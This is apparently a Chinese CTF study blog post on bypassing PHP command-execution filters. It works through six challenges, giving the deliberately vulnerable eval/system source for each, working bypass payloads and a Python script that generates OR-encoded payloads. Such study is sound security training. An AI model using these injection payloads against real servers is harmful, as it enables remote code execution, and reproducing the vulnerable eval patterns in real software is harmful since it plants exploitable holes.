php中的命令执行绕过
本文最后更新于 7 天前,其中的信息可能已经过时,如有 错误/失效 请发送邮件到xiaoc1737938763@gmail.com或留言。

本文记录一些学习中觉得很有趣的经典题型

第一题

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

解法

这道题有两种思路,第一种是硬绕,第二种是定义新变量

?c=echo%09`tac%09/f*`;
?c=passthru($_GET[a]);&a=cat /flag
?c=exec($_GET[a],$b);echo%09implode("\n",$b);&a=cat%20/flag
?c=exec($_GET[a],$b);echo%09var_dump($b);&a=cat%20/flag

知识点

1.linux中空格绕过的方法

%0a、%09(tab)、$IFS$9(9可以换成1-9中间的数字,$0是返回当前的shell类型,所以不能用)、 ${IFS}、< 、<>(需要写的权限)、%20(space)等

2.cat命令代替

cat、tac、more、less、head、tail、nl、sort、uniq、rev、base64、xxd

3.php中可以命令执行的函数

system、exec、shell_exec、proc_open、popen、passthru

第二题

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

解法

分号、反引号、括号都被过滤

?c=include%0a$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=/flag

知识点

1.eval中可以以?>来结束php代码,可以试试运行下面代码

<?php
$code = 'echo "hello world"?>';
eval($code);

2.php伪协议

第三题

flag在当前目录的flag.php中

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

解法

?c=highlight_file(array_rand(array_flip(scandir(dirname(__FILE__)))));
?c=highlight_file(array_rand(array_flip(scandir(dirname(pos(localeconv()))))));

知识点

这道题考到多个php函数

localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)

current() :返回数组中的当前元素的值;默认取第一个值

pos():current() 的别名

reset() 将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。

array_flip() 交换数组的键和值

array_rand() 随机返回一个数组

scandir():列出指定路径中的文件和目录

next():函数将内部指针向前移动一位即指向数组中的下一个元素,并输出这个元素。

第四题

<?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

解法

c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")

知识点

1.通过|构造字符执行命令

用其他师傅写的python脚本生成

https://blog.csdn.net/qq_40345591/article/details/127773706
import re
import urllib
from urllib import parse
hex_i = ""
hex_j = ""
pattern='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'
str1=["system","cat flag.php"]
for p in range(2):
    t1 = ""
    t2 = ""
    for k in str1[p]:
        for i in range(256):
            for j in range(256):
                if re.search(pattern,chr(i)) :
                    break
                if re.search(pattern,chr(j)) :
                    continue
                if i < 16:
                    hex_i = "0" + hex(i)[2:]
                else:
                    hex_i=hex(i)[2:]
                if j < 16:
                    hex_j="0"+hex(j)[2:]
                else:
                    hex_j=hex(j)[2:]
                hex_i='%'+hex_i
                hex_j='%'+hex_j
                c=chr(ord(urllib.parse.unquote(hex_i))|ord(urllib.parse.unquote(hex_j)))
                if(c ==k):
                    t1=t1+hex_i
                    t2=t2+hex_j
                    break
            else:
                continue
            break
    print("(\""+t1+"\"|\""+t2+"\")")

2.php7允许(system)(‘ls’)这样来执行命令

第五题

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

解法

首先上传一个php文件到服务器

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://192.168.239.141/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后修改内容为你要执行命令的sh脚本

最后使用/?c=.+/???/????????[@-[]来执行脚本,具体可以参考p神文章

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

知识点

1.只要是php网站,通过post上传php文件后,在服务器的/tmp/目录下会生成临时文件

2.linux支持glob通配符匹配文件

3.linux中.可以不需要文件有执行权限,可以直接执行

第六题

<?php
ini_set('open_basedir', '/usr/local/nginx/html');
error_reporting(0);

if(isset($_POST['cmd'])){
    $cmd = escapeshellcmd($_POST['cmd']); 
     if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
         system($cmd);
}
}


show_source(__FILE__);
?>

解法

仔细观察过滤就会发现没有过滤php,可以利用php进行任意代码执行

打印得到十六进制

<?php
    $a = 'echo `cat flag.php`;';
    $b = bin2hex($a);
    echo $b
?>

然后post数据发送

因为单引号被过滤,直接写hex2bin(s6563686f206063617420666c61672e706870603b)会报错,所以使用substr函数进行字符串截取,在php中,substr 会将其视为一个未定义的常量(s6563686f206063617420666c61672e706870603b),并在找不到常量定义时将其作为字符串处理(PHP 的“宽松”特性)

cmd=php -r eval(hex2bin(substr(s6563686f206063617420666c61672e706870603b,1)));

知识点

1.php -r参数可以执行任意php代码

2.php中的substr可以利用php特性绕过单引号过滤

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇